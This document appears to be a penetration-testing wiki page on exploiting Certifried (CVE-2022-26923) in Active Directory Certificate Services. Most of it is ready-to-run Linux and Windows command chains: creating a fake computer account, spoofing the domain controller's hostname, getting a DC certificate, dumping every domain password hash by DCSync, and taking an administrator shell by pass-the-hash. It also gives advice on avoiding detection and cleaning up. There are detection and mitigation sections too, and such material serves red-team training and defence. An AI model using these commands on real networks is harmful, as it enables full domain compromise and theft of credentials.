AD ^: Active Directory

Certificate Persistence — Certifried (CVE-2022-26923)

Certifried is a privilege escalation vulnerability discovered by Oliver Lyak (the same researcher who wrote Certipy) and disclosed in May 2022. It carries…

advanced updated 2026-08-10 NetExec · Impacket · Mimikatz · Rubeus

Certificate Persistence — Certifried (CVE-2022-26923)

Quick Reference

FieldValue
CategoryPrivilege Escalation (Default Config CVE)
DifficultyMedium
Pre-requisitesLow-priv domain creds + MachineAccountQuota > 0 + unpatched (pre-KB5014754)
ToolsCertipy, Impacket (addcomputer, secretsdump)
OPSEC NoiseMedium — computer account creation + dNSHostName change
CVECVE-2022-26923 (CVSS 8.8)
One-linerCreate computer account → spoof dNSHostName to DC hostname → request Machine cert → authenticate as DC → DCSync.

What Is Certifried?

Certifried is a privilege escalation vulnerability discovered by Oliver Lyak (the same researcher who wrote Certipy) and disclosed in May 2022. It carries a CVSS score of 8.8 and requires only low-privileged domain credentials to exploit. Unlike all previous ESC attacks which abused misconfigurations, Certifried is a default-configuration vulnerability — meaning a freshly deployed Active Directory environment with AD CS installed is vulnerable out of the box with no misconfigurations required.

The root cause is deceptively elegant. When a domain user creates a computer account, AD grants them Validated Write to dNSHostName and Validated Write to servicePrincipalName permissions on that account. The CA uses the dNSHostName attribute to identify machine certificates. By setting a newly created computer account’s dNSHostName to match a Domain Controller’s hostname, a low-privileged user can request a certificate that the CA believes belongs to the DC — then authenticate as the DC machine account and DCSync the entire domain.


The Core Logic

Normal cert request flow:
  User creates computer →  dNSHostName = "MYPC.domain.htb"
  Requests Machine cert  →  CA reads dNSHostName
  CA issues cert         →  "MYPC.domain.htb"
  Authenticates as       →  MYPC$

Certifried abuse flow:
  User creates computer →  dNSHostName = "DC01.domain.htb"   ← SPOOFED
  Requests Machine cert  →  CA reads dNSHostName
  CA issues cert         →  "DC01.domain.htb"                ← DC's identity
  Authenticates as       →  DC01$                            ← DOMAIN CONTROLLER

The CA has no mechanism to verify that the requester should be allowed to claim the DC’s hostname — it simply trusts whatever dNSHostName says.


Required Conditions

ConditionNotes
AD CS is installed in the domainDefault state when CS role is deployed
MachineAccountQuota > 0 (default = 10)Allows any domain user to create computer accounts
Machine or Computer template enrollable by domain usersDefault on most AD CS deployments
System is unpatched (pre-May 2022)KB5014754 patches this — check for it

💡 Check MachineAccountQuota with:

netexec ldap $TARGET -u 'lowpriv' -p 'Password123!' -M maq
# or
crackmapexec ldap $TARGET -u 'lowpriv' -p 'Password123!' --get-desc-users
Get-ADDomain | Select-Object -ExpandProperty MachineAccountQuota

Checking if Patched

Before attempting, confirm whether the target is patched:

# Check for KB5014754 patch via CrackMapExec
netexec smb $TARGET -u 'lowpriv' -p 'Password123!' -M ms17-010

# Verify via LDAP — check StrongCertificateBindingEnforcement
netexec ldap $TARGET -u 'lowpriv' -p 'Password123!' \
  -x 'reg query HKLM\SYSTEM\CurrentControlSet\Services\Kdc /v StrongCertificateBindingEnforcement'

# Values:
# 0 = Not enforced     → Certifried works
# 1 = Audit mode       → Certifried likely works
# 2 = Full enforcement → Certifried blocked

Step 0 — Enumeration

# Standard certipy scan — look for Machine template available
certipy-ad find -u 'lowpriv@domain.htb' -p 'Password123!' \
  -dc-ip $TARGET -stdout

# Specifically look for this in template output:
# Template Name: Machine
# Client Authentication: True
# Enrollment Rights: DOMAIN\Domain Computers (or Authenticated Users)

Full Attack Chain — Linux (Certipy + Impacket)

Step 1 — Create a New Computer Account

# Using Impacket addcomputer — requires MachineAccountQuota > 0
impacket-addcomputer \
  'domain.htb/lowpriv:Password123!' \
  -dc-ip $TARGET \
  -computer-name 'EVILPC$' \
  -computer-pass 'EvilPass123!'

# Verify it was created
netexec smb $TARGET -u 'lowpriv' -p 'Password123!' \
  --computers

Expected output:

[*] Successfully added machine account 'EVILPC$' with password 'EvilPass123!'.

Step 2 — Clear the SPN on the New Computer Account

This is a critical prerequisite. By default, creating a computer account also sets servicePrincipalName values that include its own hostname. If you try to change dNSHostName to the DC’s hostname without first clearing the SPNs, AD’s SPN uniqueness check will block the attribute change (because the DC already has those SPNs registered):

# Clear the SPNs on the fake computer account
impacket-addcomputer \
  'domain.htb/lowpriv:Password123!' \
  -dc-ip $TARGET \
  -computer-name 'EVILPC$' \
  -computer-pass 'EvilPass123!' \
  -spn-clear

# Or via Certipy directly
certipy-ad account \
  -u 'lowpriv@domain.htb' \
  -p 'Password123!' \
  -dc-ip $TARGET \
  -user 'EVILPC$' \
  -spn-clear update

Step 3 — Set dNSHostName to the DC’s Hostname

# Change dNSHostName of EVILPC$ to match the Domain Controller
certipy-ad account \
  -u 'lowpriv@domain.htb' \
  -p 'Password123!' \
  -dc-ip $TARGET \
  -user 'EVILPC$' \
  -dns 'DC01.domain.htb' \
  update

# Verify the change
certipy-ad account \
  -u 'lowpriv@domain.htb' \
  -p 'Password123!' \
  -dc-ip $TARGET \
  -user 'EVILPC$' \
  lookup

Expected output:

[*] Updating computer account 'EVILPC$'
[*] Successfully updated computer account 'EVILPC$' with attribute dNSHostName = DC01.domain.htb

⚠️ If you get Constraint Violation here, the SPN was not cleared properly — go back to Step 2. AD enforces SPN uniqueness which prevents two accounts sharing the same DNS hostname if their SPNs overlap.


Step 4 — Request a Machine Certificate

Now request a certificate using the Machine template, authenticating as your fake computer account EVILPC$. The CA reads dNSHostName = DC01.domain.htb and issues a cert for the DC:

certipy-ad req \
  -u 'EVILPC$@domain.htb' \
  -p 'EvilPass123!' \
  -dc-ip $TARGET \
  -ca 'DOMAIN-CA-NAME' \
  -template 'Machine'

# Output: dc01.pfx  (named after the DNS hostname it was issued for)

Expected output:

[*] Requesting certificate via RPC
[*] Successfully requested certificate
[*] Request ID is 9
[*] Got certificate with DNS hostname 'DC01.domain.htb'
[*] Saving certificate and private key to 'dc01.pfx'

💡 The cert is saved as dc01.pfx — named from the DNS hostname embedded in it. This is your DC impersonation certificate.


Step 5 — Authenticate as the DC Machine Account

certipy-ad auth \
  -pfx dc01.pfx \
  -username 'DC01$' \
  -domain domain.htb \
  -dc-ip $TARGET

Expected output:

[*] Using principal: 'DC01$@domain.htb'
[*] Trying to get TGT...
[*] Got TGT
[*] Saving credential cache to 'DC01$.ccache'
[*] Got hash for 'DC01$@domain.htb': aad3b435b51404eeaad3b435b51404ee:NTHASH

Step 6 — DCSync (Full Domain Compromise)

# Using TGT
export KRB5CCNAME='DC01$.ccache'
secretsdump.py -k -no-pass DC01.domain.htb

# Using NT hash
secretsdump.py \
  -hashes :NTHASH \
  'domain.htb/DC01$'@DC01.domain.htb

# Output:
# Administrator:500:aad3b435...:ADMIN_NTHASH
# krbtgt:502:aad3b435...:KRBTGT_HASH
# All domain hashes...

Step 7 — Shell as Administrator

# Pass-the-Hash with Administrator hash from DCSync
evil-winrm -i $TARGET -u administrator -H <ADMIN_NTHASH>
wmiexec.py administrator@$TARGET -hashes :ADMIN_NTHASH
psexec.py administrator@$TARGET -hashes :ADMIN_NTHASH

Optional Step — Clean Up the Fake Computer Account

# Remove the fake computer account after exploitation
impacket-addcomputer \
  'domain.htb/lowpriv:Password123!' \
  -dc-ip $TARGET \
  -computer-name 'EVILPC$' \
  -computer-pass 'EvilPass123!' \
  -delete

Full Attack Chain — Windows (PowerShell + Certify.exe + Rubeus)

# ── Step 1: Create fake computer account ─────────────────────────────────────
Import-Module ActiveDirectory
New-ADComputer -Name "EVILPC" -AccountPassword (ConvertTo-SecureString "EvilPass123!" -AsPlainText -Force)

# ── Step 2: Clear SPNs ────────────────────────────────────────────────────────
Set-ADComputer -Identity "EVILPC" -ServicePrincipalNames @{}

# ── Step 3: Set dNSHostName to DC's hostname ──────────────────────────────────
Set-ADComputer -Identity "EVILPC" -DNSHostName "DC01.domain.local"

# ── Step 4: Request Machine certificate ──────────────────────────────────────
# Run as EVILPC$ account context
.\Certify.exe request /ca:DC01.domain.local\DOMAIN-CA /template:Machine
openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out dc01.pfx

# ── Step 5: Get TGT as DC01$ ─────────────────────────────────────────────────
.\Rubeus.exe asktgt /user:DC01$ /certificate:dc01.pfx /getcredentials /nowrap

# ── Step 6: Inject TGT and DCSync ────────────────────────────────────────────
.\Rubeus.exe createnetonly /program:powershell.exe /show
.\Rubeus.exe ptt /ticket:<base64ticket>
Invoke-Mimikatz -Command '"lsadump::dcsync /domain:domain.local /all /csv"'

Certifried Visual Attack Flow

[lowpriv@domain.htb]  (MachineAccountQuota > 0)

          │  addcomputer → EVILPC$

[EVILPC$ created]

          │  Clear SPNs on EVILPC$
          │  Set dNSHostName = DC01.domain.htb

[EVILPC$.dNSHostName = DC01.domain.htb]  ← CA reads this

          │  certipy req -template Machine -u EVILPC$

[dc01.pfx issued]  ← Contains DC01.domain.htb identity

          │  certipy auth -pfx dc01.pfx -username DC01$

[TGT + NT hash for DC01$]

          │  secretsdump DCSync

[ALL domain hashes — full compromise]

Why This Works — The Patch Explanation

Before KB5014754, the KDC performed certificate-based authentication by matching the UPN or DNS name in the certificate to an AD object without enforcing that the requester had rights to claim that identity. Post-patch, the KDC enforces strong certificate binding — it looks for an objectSid extension in the certificate and validates it matches the AD object being authenticated as. Since EVILPC$ has a different objectSid than DC01$, the forged identity is rejected.

Pre-PatchPost-Patch
KDC matches cert dNSHostName → finds DC01$ in AD → issues TGTKDC checks cert objectSid extension → EVILPC$ SID ≠ DC01$ SID → rejects
No SID validationobjectSid extension in cert is mandatory
Certifried worksCertifried blocked

Certifried vs ESC Attacks — Where It Fits

ESC1–7ESC8/ESC11Certifried
Requires misconfigurationDefault config is vulnerable
CVSS ScoreVariesHigh8.8
DiscoverySpecterOps (Will Schroeder)SpecterOpsOliver Lyak (Certipy author)
Requires domain creds⚠️ Sometimes not
Requires MachineAccountQuota > 0
Creates fake computer account
PatchedSomeSome✅ May 2022 KB5014754
Post-patch bypassVariesESC16Check StrongCertificateBindingEnforcement value

Detection Indicators

  • Event ID 4741 — A computer account was created — alert on any New-ADComputer from non-admin accounts
  • Event ID 4742 — A computer account was changed — specifically watch for dNSHostName attribute changes on recently created computer accounts
  • Event ID 4768 — Kerberos TGT requested for a machine account (DC01$) from an IP that is not the DC’s actual IP address
  • LDAP monitoring — Alert on dNSHostName modifications that result in a value matching an existing DC hostname
  • Event ID 4887 — Certificate issued for DC01.domain.htb hostname where the requester account is NOT DC01$

Mitigation

  • Apply KB5014754 — The single most direct fix; enforces strong certificate binding in the KDC
  • Set StrongCertificateBindingEnforcement = 2 in the KDC registry key to move from audit mode to full enforcement after ensuring all certificates have been re-issued with the objectSid extension
  • Set MachineAccountQuota = 0 — Prevents domain users from creating computer accounts; this breaks the attack at Step 1:
    Set-ADDomain -Identity domain.htb -Replace @{"ms-DS-MachineAccountQuota"="0"}
  • Monitor dNSHostName write events — Set up SACL auditing on all computer objects for dNSHostName attribute modifications
  • Restrict who can add computers — Delegate computer creation rights only to specific OU-level accounts, not to all authenticated users

OPSEC Considerations

ActionEvent GeneratedNoise Level
Computer account creationEvent ID 4741🟡 Medium
SPN clear on computer accountEvent ID 4742🟢 Low
dNSHostName change to DC hostnameEvent ID 4742🟡 Medium
Certificate request (Machine template)Event ID 4887 on CA🟢 Low
PKINIT authentication as DC$Event ID 4768 (from non-DC IP)🔴 High
DCSyncEvent ID 4662 (replication)🔴 High
Computer account deletion (cleanup)Event ID 4743🟡 Medium

⚠️ The most detectable step is the PKINIT authentication as DC$ from a non-DC IP address. The dNSHostName change to a DC hostname is also highly anomalous. Execute steps 3–5 rapidly and clean up the fake computer account immediately.


References